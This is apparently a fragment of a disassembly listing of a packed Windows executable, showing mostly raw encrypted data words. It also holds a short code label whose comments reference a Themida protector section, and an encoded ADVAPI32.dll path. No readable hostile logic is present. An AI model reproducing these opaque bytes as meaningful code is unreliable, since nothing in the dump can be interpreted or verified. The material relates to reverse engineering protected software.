		dd 0CAB7AF87h, 0AA0002F8h, 0A20FE5Bh, 5023170Bh, 89DFE45Fh
		dd 95BC20C6h, 18E44132h, 5690227Ah, 0F2C887Ah, 1B08C891h
		dd 0CDE884FAh, 0C1F0825Ch, 1169B080h, 0C0A0CA0Ah, 1898D2D9h
		dd 2E20BA01h, 3C380B87h, 304DF5F4h, 3B61902Ch, 0E5002925h
		dd 0E238163Ah, 2624B460h, 1146273h, 7278012h, 1E0434D8h
		dd 0FF5D5F00h, 228A8296h, 403C964Dh, 95A9FEC2h,	0D432304Bh
		dd 314E184h, 20CD1510h,	0E67D7703h, 0B2F31465h,	0A82068BEh
		dd 929F0A2h, 0A3CAE32h,	1BA08F0Eh, 0E4866DD6h, 5920C430h
		dd 87315Ah, 7B7DB49Bh, 0EADA0C24h, 1868603Eh, 0B582E626h
		dd 54142E43h, 1EE11390h, 0B29228h, 0B33ED75Ch, 7E0D7AC4h
		dd 20D22AA1h, 8D10AC62h, 14204BBAh, 756546Dh, 0FC2EA1BCh
		dd 0B80172F7h, 0B0E6D380h, 76002B12h, 0DBD72AA9h, 29F05E7h
		dd 964652D1h, 0F0417778h, 5C61C84Eh, 0F4B0667Ah, 5EA34900h
		dd 801B988Ah
		dd 40A1022Dh, 5767BFF6h, 0F42394A4h, 3700C148h,	0BAF5CD54h
		dd 188BEEh, 9FCA3FC3h, 1A1EB62Ch, 88A99A61h, 62E44C1Ch
		dd 0DB350095h, 0FF41BB53h, 3600397Ah, 20678016h, 26D29715h
		dd 42E4B855h, 0D05A3057h, 58E20207h, 0C1903327h, 413529h
		dd 0A5818623h, 0CCAE9613h, 0A1244498h, 8A3F08E9h, 0CC9A5695h
		dd 0E0B33381h, 0C131A41Ch, 88FB2C60h, 57502744h, 255B408Bh
		dd 0DCF84C20h, 51E6DDh,	6B021015h, 50FA3D47h, 467D5F00h
		dd 9B861BFFh, 55480778h, 59903328h, 8860B06Ah, 2101BDFCh
		dd 49D25125h, 74602D19h, 5FF3C4Eh, 7E32E16h, 0CA1A9D70h
		dd 8E4D8794h, 0D6B493B2h, 476EF7A8h, 0C46BCB0Ch, 0F25921h
		dd 68EC7967h, 575AF166h, 1CA7339h, 5F38B6A9h, 81E21F6Fh
		dd 0CD956B80h, 84487826h, 0A67B4200h, 0B5B96EA4h, 0D3464C02h
		dd 4431BEC8h, 0EB081CDCh, 6BDE5Fh, 0E532390Fh, 48B8E2D2h
		dd 7BC8A300h, 1AF603B1h, 39DD18A7h, 1B48390Eh, 0E2EA28F2h
		dd 239B172Ch, 0BB11D303h, 3B901785h, 0DB0C00E5h, 18F5E87Fh
		dd 84519014h, 99DD1D50h, 8700DE5Fh, 0BE304EB1h,	86D11D5Ch
		dd 0E41A4858h, 3C0324A6h, 0D0F90457h, 42B7473h,	11563AD2h
		dd 31BCB4C6h, 805518A0h, 13C6874Ch, 401E17EAh, 7B99540h
		dd 0BD6DA42h, 4BEC676h,	983AA893h, 0E544A4h, 69159A4Ch
		dd 0B3AC421Bh, 8C794D09h, 0CE6080D1h, 744BC03h,	0D8DC8E92h
		dd 0FF403C35h, 0B4987350h, 5FF7DE00h, 8BC63A5h,	8322107Ch
		dd 2AF802DFh, 0B849ED04h, 163D5E84h, 1D2730D1h,	99F401ACh
		dd 334D209Eh, 0BCD21BCh, 44083B19h, 7BD50920h, 0A5425868h
		dd 5E27E900h, 7F2430E4h, 5AAB163Eh, 63FC201Dh, 0C90083FDh
		dd 91307AEEh, 6023D669h, 6585697Ch, 0F701D0B3h,	0F43366C0h
		dd 710E6EDh, 470112C3h,	6C9D14D8h, 0FDD890B1h, 7C38480Ch
		dd 442EC058h, 3C340F8h,	60004692h, 25799CBBh, 4BFC0605h
		dd 878020CFh, 8E0010BFh, 0F6787034h, 5A390A2Bh,	0DB0C4638h
		dd 0D600C620h, 9E87E777h, 3E39E5EBh, 848B5F09h,	3B006B48h
		dd 0A82BD6FAh, 0BED23306h, 30415630h, 11D99423h, 6200F438h
		dd 95314371h, 1FFE0D34h, 0F7B6835h, 36214CE2h, 298CFC55h
		dd 0E72220h, 91632F3Eh,	0FD4F5887h, 30E04202h, 0CC842150h
		dd 0AD8A3F38h, 9CEFC909h, 1700C444h, 8F5397DDh,	0B82A9309h
		dd 0B0E0FAA4h, 0D8BC1690h, 7B8008D2h, 7347999Eh, 4450E6FAh
		dd 8310B9h, 7CECABCFh, 55D3D6Ch, 0E54A7116h, 2048F030h
		dd 0E13F00D8h, 9BDE4E38h, 0A1000EA3h, 67F14FCh,	4B7BBDBBh
		dd 880040F6h, 0CE4D9820h, 0B892A23Bh, 0AFC091Ah, 64060C8h
		dd 3FA0A8E6h, 695D024Eh, 38BDB360h, 9E03FC44h, 0D476725h
		dd 8E6B88AFh, 44EA0F81h, 30B346E5h, 6DF34EE0h, 63EC1C1Fh
		dd 0BC9A99C1h, 27EC54D1h, 92061695h, 1804901Ah,	4203C837h
		dd 63E079E8h, 0FAD1D0D9h, 3E0F005Ah, 30285F4Dh,	0DE12B8E5h
		dd 94074E86h, 0E9A02E6Ah, 1796A20Ch, 25FA55ABh,	8CB2E0h
		dd 1B729925h, 1C42E9C1h, 0EF4B458Dh, 0DF13C2D0h, 420304Dh
		dd 8437A3h, 81201404h, 783B21D9h, 5FFD7400h, 3A109C5Eh
		dd 0D0C90105h, 0EB5A88E6h, 7BCCF045h, 8796773Dh, 2BEE5BB6h
		dd 4076BC62h, 4C25B27Ch, 0A300247Eh, 0F5726EA9h, 75093B3Eh
		dd 2EA1F5Ah, 41FEBFD8h,	6BF03010h, 3F330096h, 783782FCh
		dd 6F160519h, 30884555h, 0CC970972h, 94CAA2BEh,	0A09CECD8h
		dd 0E451C240h, 574706CFh, 20E99C15h, 0EB19611Fh, 981A0540h
		dd 45E6E22h, 1EE00CE2h,	0D4E2CCh, 4D896937h, 59958F08h
		dd 5089284Bh, 0F6043C18h, 0E100E7F8h, 22493AB0h, 997057h
		dd 0D9599F5Ah, 0D72504F3h, 2827B3Ah, 86D3BB90h,	84591Bh
		dd 65A1DF47h, 3D00D72Fh, 52B50637h, 25143B82h, 7C20391Fh
		dd 0C46583F6h, 85993807h, 7C60C3F5h, 1ACBFB7h, 6BC907A9h
		dd 6C374FABh, 6A6000FCh, 3A25226Ch, 16392C04h, 6420D4h
		dd 0E7A1B230h, 2938F673h, 0D8B55D00h, 42EE4F3Ch, 3AE8C094h
		dd 67B6EBE9h, 0B20A290Bh, 56C9077h, 0F0F648B7h,	8127FD0Fh
		dd 0CB754001h, 2CA3F4D3h, 2393A48h, 3274F795h, 0E428521Ah
		dd 2186004Dh, 4F5D0C77h, 163A832Bh, 71D082F2h, 2422C4CDh
		dd 0DF3F8025h, 33984A15h, 19368600h, 0EB1B7491h, 2589020Bh
		dd 5B097342h, 50401054h, 1923B77h, 466C4D1Bh, 5072D345h
		dd 61B1BB10h, 0DCEAB500h, 0BDC8837Bh, 60A0B608h, 54A832D2h
		dd 7235BE00h, 216CFB7Dh, 0B7F30017h, 0EE7BC6CAh, 0E500A6FAh
		dd 0DCB88103h, 0AB0DA1h, 91B745E9h, 48BD9A2Dh, 0AF951D00h
		dd 7ADC3FA4h, 4055332Eh, 34C07540h, 6300F935h, 624C8D77h
		dd 0F13B7F87h, 145D6FCh, 0ABB2BFC1h, 0ECEAE885h, 46227764h
		dd 78CC3C7Bh, 11E02F3Dh, 0C44A652Eh, 26481360h,	63F5958Dh
		dd 485B319Dh, 0C6651AE0h, 0C0798A37h, 353229C0h, 0A9B0BCh
		dd 8B94D4A3h, 0A427C545h, 0B830C176h, 431828DBh, 970300CFh
		dd 0C32F880Ah, 270006DEh, 0E44D28A1h, 5A4B3ABh,	0F7D6B6E0h
		dd 65904043h, 850E3BACh, 4A54FE01h, 377AC063h, 7DCDD0h
		dd 5B889E43h, 93CF35A8h, 653D9C07h, 41BC1CEAh, 0F1F30F40h
		dd 0CDFCEB9Dh, 401942F4h, 0A841452Fh, 2135B601h, 7AEBF695h
		dd 538EE88Ah, 611B8088h, 0BA6C51B1h, 0ABA8CF50h, 0A154AA03h
		dd 0A8FDF202h, 2E6211h,	50CA1488h, 2C329672h, 3BD08CFh
		dd 1766DFAAh, 0A0456919h, 0D31C53D3h, 0ED4090D8h, 8815B7CEh
		dd 296C673Fh, 78EED6DFh, 0C6FCA01Bh, 57D5E048h,	70FC1Ah
		dd 0B8473413h, 0C2CD4A5Ah, 0D2081407h, 31B38DD0h, 0E61A00F3h
		dd 82AEB10Fh, 0B407C251h, 6E83DC0Bh, 60AB63F0h,	0EA060050h
		dd 93F214DEh, 0B502972Dh, 0AD20C4DFh, 2E17D0F7h, 1CC73017h
		dd 0D9824193h, 208CC43Ah, 3E06DD29h, 736F8BD6h,	0FA9900E8h
		dd 0A50E1578h, 4B001E53h, 0A1722E80h, 2AB555Fh,	328D65C2h
		dd 8CA17F2Bh, 0D9352CF2h, 0CB118082h, 9587A879h, 3F0D0040h
		dd 2056B964h, 4B0037FAh, 0CD65F338h, 2694D30h, 0C481ADB5h
		dd 0B4A0AC43h, 164506Fh, 0B6FAF603h, 0C849506h,	0ADD33659h
		dd 77052E7Ch, 2B620C44h, 0C787C0FAh, 0B8008443h, 49C4E840h
		dd 54D65E2h, 0C8175631h, 11DC20DEh, 0E9008486h,	0A863ED2Dh
		dd 54E060D2h, 12CC97h, 40813CDDh, 5188C65Bh, 0E095A83Fh
		dd 121C5F81h, 0A0EE1Bh,	0FBF7A9CEh, 4CDAE10Ch, 0DC0CE077h
		dd 0C9DE2D06h, 0B5990050h, 0B61C9F32h, 94008AEBh, 0ACC4F588h
		dd 1C60B6Fh, 4EDC764Ch,	0E0F68699h, 7C00CA22h, 731281D4h
		dd 33DF6D89h, 49505D1Ch, 238060B0h, 7B958C00h, 7EECFA42h
		dd 9F0E00F0h, 0AC4CA97Dh, 0AA603EC9h, 65F20A81h, 0C4E00056h
		dd 8830B545h, 4C91BF17h, 0D225DE07h, 0BCE76071h, 7C10B917h
		dd 1300C959h, 4BF70106h, 22ECBEFh, 701436F2h, 0EB438367h
		dd 707768C1h, 5C284C71h, 3299C1Fh, 0ED07D896h, 69F1DAB4h
		dd 0D2F527A4h, 0EFCC6EE1h, 36F9070Ch, 0C02B4ED0h, 0A040BBC9h
		dd 9B3B9F0Ah, 5318BC27h, 48010760h, 73317CA6h, 308B3610h
		dd 6206D938h, 34DF9166h, 0A74903B1h, 1EC3F6C5h,	8A6795D0h
		dd 0BC587A63h, 9643881Ch, 413D1908h, 0D8AB407Fh, 0A50F1793h
		dd 60450986h, 3B89EAB4h, 0C9920007h, 55947502h,	1406A6CAh
		dd 71C43257h, 0E40148D9h, 0E6EB8A80h, 2E00C5BFh, 0A838A962h
		dd 4E46622h, 0C92D5520h
		dd 0D6C98E7h, 2FBF4301h, 817FFFBAh, 72C5DEE4h, 1851C0FAh
		dd 0A22D3F0Ch, 0CAE30A07h, 4D57E4CFh, 80E94680h, 1DA9034Ah
		dd 0BE3D8C68h, 6DE6C9B0h, 9530DC92h, 1685A166h,	438C00F0h
		dd 44255614h, 47FD0B0Dh, 9DEE7010h, 6802D895h, 0FDB56B2h
		dd 0E6040DEh, 3E872E2Dh, 269A04D5h, 1324C3F1h, 444BEFFAh
		dd 0DC86E9D0h, 0F30DA700h, 107FEDFBh, 0BF910124h, 45EB199h
		dd 58E6E8ABh, 0E6E9A4A1h, 837480A0h, 0F7066E51h, 3DDA3E4Ch
		dd 1E5C9070h, 8AC1183Fh, 0BD84C2FAh, 0A78E1580h, 5C63E6F3h
		dd 4E250E00h, 0F98F4F45h, 329E1D9Ch, 90D1B7E2h,	7F3C92FFh
		dd 44885418h, 0EA479971h, 3D7D0094h, 0D433A024h, 0B54C3021h
		dd 0F749DE5Ch, 38A204A6h, 5751BC80h, 45AF24D7h,	0EC390538h
		dd 9F8C213Eh, 9006349h,	80A69A0Ch, 0E40774F3h, 3B89822h
		dd 4AF7FF3Ch, 0E048DB53h, 957403DCh, 6ABB4C9h, 0DE919C99h
		dd 8100492Eh, 0B770D1B0h, 1F3AF8Bh, 4E155ABEh, 0E8DF809Dh
		dd 8824D458h, 3241741Bh, 0C18660DEh, 19C03E97h,	7340887Bh
		dd 791F0063h, 0DA49EB81h, 3C1D3DA1h, 0F597361Ch, 296E960Ch
		dd 9EE60FD8h, 796FAF22h, 0B0F1D600h, 9502331Fh,	0FB78FC10h
		dd 4C8A2C7h, 0E7F4402Fh, 4EB300B6h, 3F0E936Bh, 0FF049BDFh
		dd 74E69A99h, 0F259A880h, 27E10308h, 0B3548DEh,	0C1D9FFC8h
		dd 585A4A03h, 0F3AD5C3Dh, 4FB90031h, 3B67439Dh,	2FEA90C5h
		dd 1F4E7000h, 0F197C11Ah, 0AFEB0211h, 991372D9h, 50A0F060h
		dd 38AC5758h, 0C42D09FFh, 0CC1270h, 25A3C258h, 0CE39009Ch
		dd 0FCA164FBh, 613EEABAh, 0D0A51299h, 45CE741Fh, 0A0A0EF58h
		dd 0D9B04934h, 0F0D3FCB3h, 294498D5h, 1DB0323Dh, 4C002036h
		dd 8947FD77h, 0A9283Ch,	0F6B8B7D9h, 880E3222h, 377B44h
		dd 853D799Ah, 0F414CE95h, 0D739B21Ch, 0C628C187h, 0D4C92253h
		dd 300C88h, 19F6B992h, 0DDDC73EDh, 0E6C43403h, 7798FCBCh
		dd 0A6AF04D9h, 800A5F52h, 9A6BE350h, 0C98C0351h, 488BE5B5h
		dd 93004FF0h, 0A71E3C37h, 97ACCEh, 8FC406Bh, 99B8C4D9h
		dd 432AC9E2h, 0B704405Dh, 458365D6h, 2ADD7488h,	0F0B0FF60h
		dd 3EE013B6h, 0C48020FBh, 3D90A4F9h, 0CA569300h, 985CEA89h
		dd 973B0B61h, 3400AECFh, 27861232h, 6744A0B8h, 69301D1Dh
		dd 35833B03h, 0F1D5A484h, 32EF3289h, 0B8920054h, 4EC53DFBh
		dd 0A1F079Fh, 97A5E0D5h, 886C614Bh, 0E68623Ah, 21F491F7h
		dd 0DFAC8784h, 0D900B022h, 6058F3D7h, 0C001C440h, 233C8221h
		dd 0B07020A3h, 839630CEh, 2FE87371h, 0ADB05779h, 51060B00h
		dd 0A33FF149h, 0C64C163Ah, 0C59C4028h, 6386086h, 908E061h
		dd 0BC507C8Bh, 0E415CBEh, 78451025h, 8F5EEBC3h,	0B420A198h
		dd 0E8523203h, 0F695E09Dh, 71480379h, 0A0F1DA3Ah, 4059EAC9h
		dd 0B7E1ADE8h, 14C3DB01h, 0ACAEE6B1h, 325C1880h, 69B4DF95h
		dd 98AF540Fh, 9788C5E7h, 31EE441h, 0D88A5273h, 26F0B1C9h
		dd 0A790E010h, 540EB5F4h, 0E0F15103h, 4DF74F3Dh, 6638005Fh
		dd 0F69E11F5h, 12987E3Fh, 34469982h, 0F4514361h, 0F9D0CA07h
		dd 0E6AF00D4h, 39196F17h, 9E39D863h, 37C8861Dh,	7B08A285h
		dd 19E80110h, 7F24F14Bh, 0C02182BCh, 0E083D0A6h, 11A2811h
		dd 16E9EC0Ah, 30A0B629h, 661EC80Bh, 0C9D83E68h,	0C0B01D48h
		dd 0CD78DE51h, 35018042h, 6801A5FEh, 2980EA05h,	0CB3D7B8h
		dd 3AF814DCh, 0B589D567h, 1EA9E1C0h, 0CF49C1B2h, 0F8D2A369h
		dd 870CFE76h, 316F7F46h, 0B6DB0193h, 44C484A9h,	7A4ED02Bh
		dd 83D8793Dh, 9C89515Dh, 0BF8045Ch, 40BA7EFDh, 1AA1509h
		dd 45F2E5h, 0ACC19FE3h,	3B369339h, 9229FE01h, 243C68E9h
		dd 8A589980h, 0EA74223Eh, 2690171Dh, 8E801918h,	7F33000Fh
		dd 0E48CA148h, 0B8C04B50h, 0DE5DA2C8h, 802000B9h, 7B0A99ADh
		dd 401467Ah, 0A87D913Dh, 7FF4F505h, 0C599C7B9h,	1BC090FFh
		dd 0F1F513C3h, 0EA440B7h, 88A8B61Eh, 5EB867ABh,	0E23CDB7Eh
		dd 0F8788F31h, 791BECE8h, 554E1D19h, 0F14A02A0h, 30817EDAh
		dd 0CC30F86Bh, 4DF2EB7Bh, 3CE8E50Ch, 547E394Eh,	0E95AC42h
		dd 805E7F2Dh, 6878C6C0h, 50038A55h, 4585E3E7h, 2F13D076h
		dd 88160239h, 0D875D641h, 0B45F8880h, 0B050302Ch, 4E500CE4h
		dd 0DB00A4F4h, 664A1691h, 3146D021h, 79D1ED1Eh,	60FFF648h
		dd 1696793h, 0FE33E718h, 3093C928h, 0A1C07FF7h,	2026CC37h
		dd 0E656EED9h, 1986649Dh, 174088DBh, 6FCB3200h,	0E5CFC7C0h
		dd 1783840h, 0C630B73Eh, 0EF069450h, 5F8EE80Ah,	0AD001CDEh
		dd 0D0E559BCh, 27545881h, 0A1FCE600h, 41A83CD9h, 0C7421700h
		dd 5025799h, 88100330h,	0DB1E52EBh, 6065C900h, 0F083442Fh
		dd 81B000A0h, 0E32188FBh, 8400D3F7h, 42BC24EEh,	0C028048h
		dd 877E0E06h, 0D007C6C1h, 81C53590h, 15536390h,	0DB2612A0h
		dd 3E40411Fh, 0D8915114h, 30050F1Eh, 44ED784Ch,	33C2AC87h
		dd 0CFE0602Eh, 7B18929Dh, 0C86740B0h, 0FFB5DD00h, 0D1D4CE05h
		dd 1A5B00A6h, 652183D6h, 7E309277h, 4DA389BEh, 8A14004Eh
		dd 2A482454h, 1E6E505Ch, 37E5A749h, 5434D5E0h, 7CC14935h
		dd 2871A500h, 0D04EB9A2h, 0D16F01Fh, 2E8F3200h,	1ABB318h
		dd 78D94801h, 57B11D0Bh, 7C406F98h, 1CC9904Ah, 0B0C4E400h
		dd 0AF873B3Dh, 9049835h, 69D3A6B3h, 9727E004h, 0ACDCD1B8h
		dd 0E25370E6h, 32B91260h, 18768556h, 61D91E25h,	9800231Fh
		dd 0E441FB38h, 9A517Bh,	6CCE9E5Bh, 29943D1Ah, 980F8500h
		dd 0F890CFEFh, 0C304847h, 3D831879h, 0B3D649B7h, 1F4A0818h
		dd 4C02D9D8h, 6C80407Eh, 73B55856h, 0E0AFF500h,	7AFCE89Dh
		dd 6D8600AEh, 4CD5BE8Ah, 23549268h, 7B5312E4h, 2BAA00FCh
		dd 3C8F8D35h, 67B015h, 3DABD164h, 0B0C392Eh, 261AEE00h
		dd 447BD4Bh, 774D790Dh,	0E2CC00B6h, 0EFD9DDBBh,	69378510h
		dd 0B300B1CFh, 0A4DA1D36h, 76A701B4h, 9DD7C7F7h, 0F9C34017h
		dd 3505455Dh, 26B166E8h, 11027DC0h, 854C0632h, 0B1210768h
		dd 0B4A2820Fh, 0B3E3801Ah, 14AD574Bh, 901D23ECh, 48A2A680h
		dd 33030BA4h, 9A49DF1Fh, 0A8A1FB16h, 0B0A9D45Bh, 0D85A1C2Ch
		dd 40F49217h, 0F65002B8h, 7F007C88h, 65583089h,	0AAD847h
		dd 431AB061h, 36969B99h, 0DE832B00h, 1906EFF4h,	0AC320AB6h
		dd 0F405880h, 7B6F78A1h, 0BC64FEh, 0E0D4A648h, 855CFA13h
		dd 0ED29605Dh, 484BACF0h, 0FD0428E1h, 800EC1A0h, 119EC460h
		dd 83BAD815h, 225476CCh, 1C00F080h, 0A279C662h,	28D48B5Fh
		dd 4C940EDBh, 9CC098E2h, 74CD2DAEh, 65FEC301h, 8D8BB21Bh
		dd 0B806B540h, 0CB6EE13h, 1960393Ah, 1591680h, 818844BBh
		dd 2062B203h, 0F39308A3h, 905A88FFh, 3035F215h,	0D8915585h
		dd 410C0D02h, 880F754Bh, 0C5E40172h, 0CA1A6856h, 0F41821FCh
		dd 644951B8h, 0F1AC00DCh, 93955C42h, 0C180002h,	17A08159h
		dd 612E45D3h, 0D8110411h, 39205018h, 7A0033F9h,	0A96594E7h
		dd 0C68CA49h, 6BE1DE4Eh, 9F2885F9h, 63441CDAh, 1BAA01CAh
		dd 736A3A19h, 53A6C017h, 9318E800h, 0FE8F831Eh,	9BDE1391h
		dd 0CBE02380h, 1E13Fh, 691AF3F8h, 2E575FD9h, 47487EF6h
		dd 0E700B9D6h, 0C1FEE8AEh, 787D6426h, 0A61E101Eh, 0A8E6DBCAh
		dd 11F79D80h, 0D1623Ch,	2A662314h, 0E8D2CB18h, 0FEB8820Eh
		dd 38302DA0h, 5B841C6h,	0A40800E7h, 991317B3h, 79CE857Eh
		dd 0F671A19Ch, 5FE80EA9h
		dd 9FB0118h, 51B561CBh,	19F9804Ch, 0F2F1BFF3h, 438107D6h
		dd 0E0911EECh, 95251FB0h, 88403314h, 32A1C7B0h,	0B7DDFB90h
		dd 0DCEE48BEh, 9B4B12h,	0A246010h, 0A7014DFCh, 0EF273EDBh
		dd 9181817Fh, 0CC28295Ch, 0ED39E403h, 0BA67C924h, 472BD304h
		dd 0B48C4C84h, 0D2A5005Ch, 0BBD9CF7Fh, 2926D419h, 6111EC35h
		dd 0A677E00h, 0C26097EDh, 0EB3F2600h, 699AE202h, 19E902B6h
		dd 7EB45549h, 0AEE74080h, 0E1EE16B2h, 7D48F4FAh, 0CD22003Eh
		dd 776A84A8h, 405058B6h, 0EAF85380h, 9500360Eh,	8362DA4Bh
		dd 0F0247Bh, 0B673B313h, 0DB42DA8h, 9A56D500h, 0B8C019F6h
		dd 7180E57Eh, 0B3E1469Eh, 0B0F9B21h, 0E19854C4h, 0D85D41E8h
		dd 81ECE4FEh, 0F9BC5EE8h, 0B4E7EE02h, 54C01276h, 40C7932h
		dd 216552DBh, 0EFFF00DFh, 367C6CCCh, 5C0014CEh,	8B9BC43Ah
		dd 79E48C1h, 3D9DD238h,	0F42050BBh, 0D509E535h,	20E7DB53h
		dd 73168E34h, 681B0078h, 0E8E9E609h, 13295F84h,	3F9D981Fh
		dd 5C46E080h, 14F0CA4h,	4E6EDB5Bh, 0CD7CD082h, 3E887314h
		dd 9D4B8041h, 88CA93ECh, 1454076Dh, 50E3388Fh, 1D22FF4Ch
		dd 2C825813h, 0A6C70C08h, 481560D4h, 25F0825Ah,	398DED00h
		dd 790DC693h, 17E39B9h,	0F5998431h, 5BFAF4EBh, 793CA00h
		dd 0C364D6C1h, 8B2701DCh, 53406723h, 0CD598068h, 3617399Eh
		dd 0D4E406h, 9A6FB4Dh, 0D7DDF12Ah, 0FA82EE17h, 4CAEFC00h
		dd 4815E4EDh, 9B8E441Eh, 0BE062B00h, 0FC004A2Dh, 1E908313h
		dd 303DAE05h, 1808A03Ch, 0DB2A4FFFh, 9600B0E5h,	86A8987Bh
		dd 3C1EB62h, 6E84B9BAh,	0A0B709F6h, 0FE3FD42Dh,	0EE12D671h
		dd 80838C0h, 6A8584BBh,	16E840C9h, 6052724Fh, 1EC4D162h
		dd 9F008619h, 6AE84982h, 1DAA32Eh, 70563DCAh, 20B39E57h
		dd 25003980h, 0A7F08E4Ah, 29333FDFh, 7F01CC4Dh,	0B0FDFFh
		dd 0
; ---------------------------------------------------------------------------


loc_57DB9C:				; CODE XREF: Themida_:loc_513265j
					; DATA XREF: Themida_:loc_513086o
		jmp	loc_581095
; ---------------------------------------------------------------------------
		dd offset byte_5DD7AF
		db 10h,	15h, 0F2h
		dd 76h,	0
		dd 84AD2500h, 530000FBh, 57E80D02h, 29AD2300h, 0FA72B601h
		dd 1B4h, 8 dup(0)
		dd 90EE1800h, 7Ch, 57EF3A00h, 2	dup(0)
		dd 9800h, 0
		dd 0BB500h, 0
		dd 0A7D28700h, 3 dup(0)
		dd 0B1A8CF00h, 12FF5400h, 23E400h, 0D28700h, 5 dup(0)
		dd 802CAC00h, 9000007Ch, 0A608147Ch, 67h, 2 dup(0)
		dd 0F36C5B00h, 4E05FD76h, 0FFh,	5 dup(0)
		dd 0F802B400h, 0FFh, 5 dup(0)
		dd 110B5F00h, 4	dup(0)
		dd 0B1AAA100h, 0Ah dup(0)
		dd 291800h, 5 dup(0)
		dd 80ABDE00h, 90EB167Ch, 7Ch, 33333300h, 2 dup(33333333h)
		dd 33h,	9 dup(0)
		dd 5B1D6700h, 0Bh dup(0)
		dd 0FF000h, 2 dup(0)
		dd 100h, 2 dup(0)
		dd 0EE704000h, 5, 2 dup(0)
		dd 5F424700h, 0
		dd 34B93300h, 83h, 5 dup(0)
		dd 0F07600h, 3 dup(0)
		dd 57E32D00h, 5	dup(0)
		dd 100h, 3 dup(0)
		dd 5BB31500h, 3	dup(0)
		dd 30DF00h, 0
		dd 0DC33100h, 3Bh, 3 dup(0)
		dd 53002C00h, 2, 2 dup(0)
		dd 53800h, 2 dup(0)
		dd 518E3E00h, 4	dup(0)
		dd 40000000h, 90EB9400h, 7Ch, 16B7600h,	0
		dd 0FFFFFC00h, 0FFh, 2 dup(0)
		dd 8235300h, 19h, 2 dup(0)
		dd 0B41CF700h, 3 dup(0)
		dd 0E7E900h, 3 dup(0)
		dd 29AD2300h, 1, 5B84A500h, 90EB9400h, 7Ch, 9 dup(0)
		dd 4BD2E00h, 2 dup(0)
		dd 0B48B3200h, 4 dup(0)
		dd 5B0F8F00h, 4	dup(0)
		dd 100h, 5B83A600h, 5EDFE200h, 0B2249300h, 4 dup(0)
		dd 0A6B39500h, 67h, 200000h, 0
		dd 46DA4400h, 0C2h, 10h	dup(0)
		dd 0B10E2400h, 90EB9400h, 7Ch, 3 dup(0)
		dd 0C183200h, 1, 5B69E500h, 5B832600h, 4 dup(0)
		dd 0A7D28700h, 5BA8FD00h, 2 dup(0)
		dd 0CB8C00h, 0Ah dup(0)
		dd 0A6000000h, 2 dup(0)
		dd 90EB9400h, 5BF1B57Ch, 2 dup(0)
		dd 3000000h, 5F72DC00h,	4 dup(0)
		dd 85800h, 3 dup(0)
		dd 0B2F9E400h, 90EE18ECh, 0A07Ch, 0A4E38800h, 4Ah, 3 dup(0)
		dd 9000h, 8DEBE400h, 7Ah, 4 dup(0)
		dd 12FEC800h, 0
		dd 6D000000h, 2, 6 dup(0)
		dd 5F42DF00h, 0Bh dup(0)
		dd 0B9BD2200h, 31h, 0A7D28700h,	5C3A4300h, 444E4957h, 5C53574Fh
		dd 74737973h, 32336D65h, 5644415Ch, 33495041h, 6C642E32h
		dd 6Ch,	3Ah dup(0)
		dd 5B83A600h, 0
		dd 6B4300h, 0B1FA3700h,	5BA66000h, 0Ah,	5 dup(0)
		dd 29AD2300h, 1, 3 dup(0)
		dd 24242400h, 24h, 0
		dd 22FFB000h, 2, 0
		dd 90009400h, 1C07B67Ch, 5816EA09h, 4 dup(0)
		dd 12FE7C00h, 2	dup(0)
		dd 0A47CEC00h, 0FFh, 2 dup(0)
		dd 5B83A600h, 2	dup(0)
		dd offset dword_600C00
		dd 0E40E3200h, 0A1h, 2 dup(0)
		dd 6B4300h, 0
		dd 90EB9400h, 7Ch, 5 dup(0)
		dd 0ECE23600h, 9F53D1FFh, 0FFh,	0
		dd 9FB9AF00h, 4Eh, 5 dup(0)
		dd 0E900EB00h, 0AAh, 0C1784300h, 1Fh, 9800h, 0
		dd 0FFD72800h, 0FFh, 2 dup(0)
		dd 83E29500h, 0FEh, 0
		dd 0D2D99A00h, 5Bh, 2 dup(0)
		dd 12FFE000h, 3	dup(0)
		dd 1F400h, 12FEEC00h, 2	dup(0)
		dd 1B302200h, 36h, 0A4146C00h, 0FFh, 7 dup(0)
		dd 12FF5400h, 4	dup(0)
		dd 29AD2300h, 1, 5ED49700h, 0
		dd 0BA8D8D00h, 34h, 0B501E600h,	714200B3h, 5B0FA9EDh, 0
		dd 5816DA00h, 7800h, 4CFFBA00h,	0FFh, 0Dh dup(0)
		dd 0C7D2A200h, 24FE64Eh, 0Dh, 57EE9D00h, 5 dup(0)
		dd 5EC81100h, 5ED39C00h, 0
		dd 0DDEBD500h, 7Ch, 4 dup(0)
		dd 5B122A00h, 0DBD9CC00h, 90DDF905h, 7Ch, 0
		dd 861100h, 26h	dup(0)
		dd 0FF927400h, 0FFh, 0A3EB2600h, 0FFh, 0
		dd 0FF340400h, 0FFh, 3 dup(0)
		dd 100h, 0B3FCAD00h, 0
		dd 90EB9400h, 7Ch, 0
		dd 90EB9400h, 7Ch, 5801F100h, 2	dup(0)
		dd 28A69400h, 36h, 2 dup(0)
		dd 334600h, 4 dup(0)
		dd 90EB9400h, 7Ch, 5 dup(0)
		dd 29AD2300h, 5D13D001h, 9 dup(0)
		dd 90EB9400h, 7Ch, 5 dup(0)
		dd 8D40C200h, 76h, 0
		dd 3D745C00h, 0BDh, 0
		dd 90EB9400h, 7Ch, 2 dup(0)
		dd 5BF21300h, 6	dup(0)
		dd 29AD2300h, 1, 4 dup(0)
		dd 0B4EE000h, 53h, 0
		dd 0C530DF00h, 0A9h, 5B002300h,	7 dup(0)
		dd 5D6AAF00h, 90EB9400h, 7Ch, 5	dup(0)
		dd 1499E400h, 0
		dd 0FF8D8D00h, 0FFh, 5B831400h,	4 dup(0)
		dd 1DE58600h, 0Eh, 863F5800h, 7Ch, 8 dup(0)
		dd 83E7BF00h, 1, 0
		dd 0DDEBE700h, 77h, 0
		dd 0F4DBB700h, 5B6D6E8Eh, 0
		dd 5B831400h, 4	dup(0)
		dd 22222200h, 22222222h, 22h, 5CF46B00h, 2 dup(0)
		dd 809B4700h, 7Ch, 5AB3E800h, 5D395E00h, 6 dup(0)
		dd 0B19D7F00h, 7Ch, 2 dup(0)
		dd 638D8D00h, 12FE8004h, 0
		dd 6400h, 4 dup(0)
		dd 80ADA000h, 7Ch, 100h, 0B1941700h, 63AD0000h,	4, 87EC2F00h
		dd 0BDh, 5 dup(0)
		dd 6C000000h, 2, 6 dup(0)
		dd 0B18EE400h, 0FFA25400h, 0B364FFh, 80000000h,	7Ch, 0FD3D4400h
		dd 0FFh, 0CE00h, 4 dup(0)
